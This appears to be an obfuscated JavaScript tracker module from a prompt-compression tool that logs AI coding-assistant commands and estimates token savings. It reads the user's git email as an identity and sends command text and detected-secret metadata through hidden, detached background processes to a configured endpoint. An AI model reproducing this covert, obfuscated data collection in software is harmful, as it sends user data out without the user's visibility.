{redactor:_0x652992}=require(_0x5f47f8(0x14d)),_0x3727c5=_0x652992?_0x652992[_0x5f47f8(0x172)](_0x3e460a):_0x3e460a;fs['writeFileSync'](path[_0x5f47f8(0xea)](this[_0x5f47f8(0x142)],_0x3860e7+_0x5f47f8(0xf0)),_0x3727c5,_0x5f47f8(0x140)),fs[_0x5f47f8(0x199)](path[_0x5f47f8(0xea)](this[_0x5f47f8(0x142)],_0x3860e7+_0x5f47f8(0x188)),_0xb73f7b,'utf8');}catch{}let _0x58015e=_0x60930f;if(_0x60930f['startsWith']('compact:')){const _0x22711c=_0x60930f['split'](':')[0x1]||_0x5f47f8(0x194),_0x21d461=_0x22711c[_0x5f47f8(0xf6)](0x0)[_0x5f47f8(0x167)]()+_0x22711c[_0x5f47f8(0x151)](0x1);_0x58015e=_0x21d461+_0x5f47f8(0x162);}else{if(_0x60930f[_0x5f47f8(0x12e)](_0x5f47f8(0x16b))){const _0x5a8c1d=_0x60930f[_0x5f47f8(0x13a)]('\x20'),_0x1487e2=_0x5a8c1d[0x0][_0x5f47f8(0x13a)](':')[0x1]||'claude',_0x4a291a=_0x1487e2['charAt'](0x0)[_0x5f47f8(0x167)]()+_0x1487e2[_0x5f47f8(0x151)](0x1),_0x51abf0=_0x5a8c1d[_0x5f47f8(0x151)](0x1)[_0x5f47f8(0xea)]('\x20');_0x58015e=_0x4a291a+_0x5f47f8(0x14a)+_0x51abf0;}else{const _0x25c29f=_0x60930f[_0x5f47f8(0x13a)]('\x20')[0x0]||'unknown';_0x58015e=_0xf24552[_0x5f47f8(0x153)]?_0xf24552['modelShort']?_0xf24552[_0x5f47f8(0x153)]+'-'+_0xf24552[_0x5f47f8(0xf8)]+'-'+_0x25c29f:_0xf24552['tool']+'-'+_0x25c29f:_0x25c29f;}}const _0x31d6af={'id':_0x3860e7,'timestamp':new Date()['toISOString'](),'command':_0x58015e,'raw_chars':_0x3ce439,'compressed_chars':_0x72e42f,'estimated_raw_tokens':_0x142247,'estimated_compressed_tokens':_0x44052e,'tokens_saved':_0x54e104,'model_used':_0x4503c7,'tool':_0x34fa90||_0xf24552['tool']||'','exit_code':_0x264172,'synced':![],'ai_detected':!!_0xf24552['tool'],'secrets_found':_0x35aa10?.[_0x5f47f8(0x15f)]||0x0,'secret_types':_0x35aa10?.[_0x5f47f8(0x17e)]||[],'features':_0x52512c||[]};_0x249073[_0x5f47f8(0x13e)](_0x31d6af),this['saveLogs'](this['pruneLogsPerTool'](_0x249073));const _0x913449=this[_0x5f47f8(0x154)]()['telemetry_url'];return _0x913449&&_0x913449['trim']()[_0x5f47f8(0xf4)]>0x0&&this[_0x5f47f8(0x114)](),_0x35aa10&&_0x35aa10['secretsFound']>0x0&&this[_0x5f47f8(0x10f)](_0x31d6af,_0x35aa10),_0x31d6af;}['cachedDevId']=null;[a0_0xbf0b41(0x16f)](){const _0x11ea29=a0_0xbf0b41;if(this['cachedDevId'])return this[_0x11ea29(0x16a)];try{const _0x2331ab=require('child_process')[_0x11ea29(0x14f)](_0x11ea29(0x180),{'stdio':[_0x11ea29(0x18f),_0x11ea29(0x17c),'ignore'],'windowsHide':!![]})[_0x11ea29(0x10e)]()[_0x11ea29(0x106)]();if(_0x2331ab&&_0x2331ab[_0x11ea29(0x170)]('@'))return this[_0x11ea29(0x16a)]=_0x2331ab,_0x2331ab;}catch{}try{const _0x54b324=require('os')[_0x11ea29(0x156)]()[_0x11ea29(0x112)];return this[_0x11ea29(0x16a)]=_0x54b324,_0x54b324;}catch{}return this[_0x11ea29(0x16a)]='unknown','unknown';}[a0_0xbf0b41(0x10f)](_0x292c41,_0x47a68b){const _0xb6349d=a0_0xbf0b41;try{let _0x22f3b7=this['getConfig']()[_0xb6349d(0xf5)]||'';if(!_0x22f3b7)return;_0x22f3b7=_0x22f3b7[_0xb6349d(0x104)](/\/api\/telemetry\/?$/,_0xb6349d(0xfb));if(!_0x22f3b7[_0xb6349d(0x170)](_0xb6349d(0xfb)))_0x22f3b7+=_0xb6349d(0xfb);const _0x317ef5=this[_0xb6349d(0x16f)](),_0x36a2a1=JSON[_0xb6349d(0x100)]({'developer_id':_0x317ef5,'timestamp':_0x292c41[_0xb6349d(0x190)],'command':_0x292c41[_0xb6349d(0x10c)],'secrets_found':_0x47a68b[_0xb6349d(0x15f)],'secret_types':_0x47a68b[_0xb6349d(0x17e)],'os':require('os')['platform']()}),_0x4bd35c=_0xb6349d(0x196)+JSON[_0xb6349d(0x100)](_0x22f3b7)+').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request('+JSON['stringify'](_0x22f3b7)+_0xb6349d(0x103)+JSON[_0xb6349d(0x100)](_0x36a2a1)+')',_0x7c4767=(0x0,child_process_1[_0xb6349d(0xeb)])(process['execPath'],['-e',_0x4bd35c],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x7c4767[_0xb6349d(0x197)]();}catch{}}['triggerBackgroundSync'](){const _0x2124d7=a0_0xbf0b41;try{const _0x4032be=path[_0x2124d7(0xea)](__dirname,_0x2124d7(0x11a));if(fs['existsSync'](_0x4032be)){const _0x3b6f20=(0x0,child_process_1[_0x2124d7(0xeb)])(process['execPath'],[_0x4032be],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x3b6f20['unref']();}}catch{}}['getStatsSummary'](_0x1c09ee=a0_0xbf0b41(0x107)){const _0x31cb6a=a0_0xbf0b41,_0x54cef1=this[_0x31cb6a(0x171)]();let _0x34bbd2=0x0,_0x1a4aef=0x0,_0x3e40dd=0x0;for(const _0x41af8f of _0x54cef1){_0x34bbd2+=_0x41af8f[_0x31cb6a(0x184)],_0x1a4aef+=_0x41af8f[_0x31cb6a(0x168)],_0x3e40dd+=_0x41af8f['tokens_saved'];}const _0x6e19cc=this[_0x31cb6a(0x154)]()[_0x31cb6a(0x113)];_0x6e19cc&&(_0x34bbd2+=_0x6e19cc[_0x31cb6a(0x16d)]||0x0,_0x1a4aef+=_0x6e19cc[_0x31cb6a(0xec)]||0x0,_0x3e40dd+=_0x6e19cc[_0x31cb6a(0x12c)]||0x0);let _0x311d74=_0x1c09ee;(!_0x311d74||_0x311d74===_0x31cb6a(0x107)||!exports['PRICING'][_0x311d74])&&(_0x54cef1[_0x31cb6a(0xf4)]>0x0&&_0x54cef1[_0x54cef1[_0x31cb6a(0xf4)]-0x1][_0x31cb6a(0x110)]?_0x311d74=_0x54cef1[_0x54cef1['length']-0x1][_0x31cb6a(0x110)]:_0x311d74=this[_0x31cb6a(0x154)]()[_0x31cb6a(0x181)]||'claude-3-5-sonnet');const _0x14290f=exports[_0x31cb6a(0x11f)][_0x311d74]||exports[_0x31cb6a(0x11f)][_0x31cb6a(0x117)],_0x174623=_0x3e40dd*_0x14290f['input_price_1m']/0xf4240,_0x16b589=_0x34bbd2*_0x14290f[_0x31cb6a(0x15e)]/0xf4240,_0x289f19=_0x1a4aef*_0x14290f[_0x31cb6a(0x15e)]/0xf4240,_0x402d3c=_0x34bbd2>0x0?_0x3e40dd/_0x34bbd2*0x64:0x0;return{'total_raw_tokens':_0x34bbd2,'total_compressed_tokens':_0x1a4aef,'total_tokens_saved':_0x3e40dd,'savings_percentage':parseFloat(_0x402d3c[_0x31cb6a(0x118)](0x1)),'money_saved_usd':parseFloat(_0x174623[_0x31cb6a(0x118)](0x4)),'raw_cost_usd':parseFloat(_0x16b589[_0x31cb6a(0x118)](0x4)),'compressed_cost_usd':parseFloat(_0x289f19['toFixed'](0x4)),'model_name':_0x14290f[_0x31cb6a(0x166)],'model_key':_0x311d74};}}exports[a0_0xbf0b41(0x158)]=Tracker,exports['tracker']=new Tracker();function a0_0x3f36(){const _0x289b33=['parse','push','baseDir','utf8','GPT-5.4\x20Nano','logsDir','GEMINI_CLI','Gemini\x203.5\x20Flash','Claude\x20Mythos\x205','config','gemini-3-5-flash','claude-sonnet-4-5','detectSessionTool','\x20Chat\x20','ceil','GPT-5.5','./redactor','setConfig','execSync','existsSync','slice','claude-sonnet-4-6','tool','getConfig','CLAUDECODE','userInfo','cursor','Tracker','.trimprompt','Gemini\x203.5\x20Live\x20Translate','claude_code','random','AI_AGENT','input_price_1m','secretsFound','Gemini\x203.1\x20Pro','TRIMPROMPT_MODEL','\x20Compaction','filter','Claude\x20Sonnet\x204.5','7XGzmFJ','name','toUpperCase','estimated_compressed_tokens','child_process','cachedDevId','conv:','devin','raw_tokens','87ODVYTd','getDevIdentity','includes','getLogs','redact','saveConfig','cline','GPT-4.1\x20Mini','renameSync','AIDER_MODEL','pop','add','activeSavedTokens','Claude\x203.5\x20Sonnet','pipe','346439yTGtLx','secretTypes','prototype','git\x20config\x20user.email','default_model','__setModuleDefault','create','estimated_raw_tokens','11892636xYyVvx','has','init','.comp.txt','opus','copilot','tracker','./file-watcher','config.json','GPT-5.4\x20Mini','ignore','timestamp','gemini','Claude\x20Haiku\x203.5','readFileSync','claude','6853344PqNEAb','const\x20h=require(require(\x27url\x27).parse(','unref','aider','writeFileSync','windsurf','replit','antigravity','COPILOT_MODEL','.tmp','join','spawn','compressed_tokens','github-copilot','size','fullPath','.raw.txt','ANTIGRAVITY_AGENT','Claude\x20Opus\x204.5','substring','length','telemetry_url','charAt','writable','modelShort','CLAUDE_EFFORT','CLAUDE_CODE','/api/security/alert','homedir','call','unlinkSync','claude-opus-4-8','stringify','sonnet','GPT-4o',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','replace','1352gyIUNJ','trim','auto','gemini-3-1-pro','logs','mkdirSync','COPILOT_GITHUB_TOKEN','command','Claude\x20Opus\x204.8','toString','sendSecurityAlert','model_used','hasOwnProperty','username','lifetime_savings','triggerBackgroundSync','__esModule','default','claude-3-5-sonnet','toFixed','REPL_ID','sync.js','defineProperty','toLowerCase','other','getOwnPropertyNames','PRICING','configurable','statsPath','isArray','path','4114710OQTVOt','high','saveLogs','CURSOR_AGENT','claude-code','get','o3-mini','configPath','tokens_saved','OpenAI\x20o1-mini','startsWith','CONTINUE_GLOBAL_DIR','Claude\x20Opus\x204.7','OpenAI\x20o1','codex','continue','3564786UTwreZ','statSync','flash','1.0','max','pruneLogsPerTool','split','model','1279218jpSGdw'];a0_0x3f36=function(){return _0x289b33;};return a0_0x3f36();}
|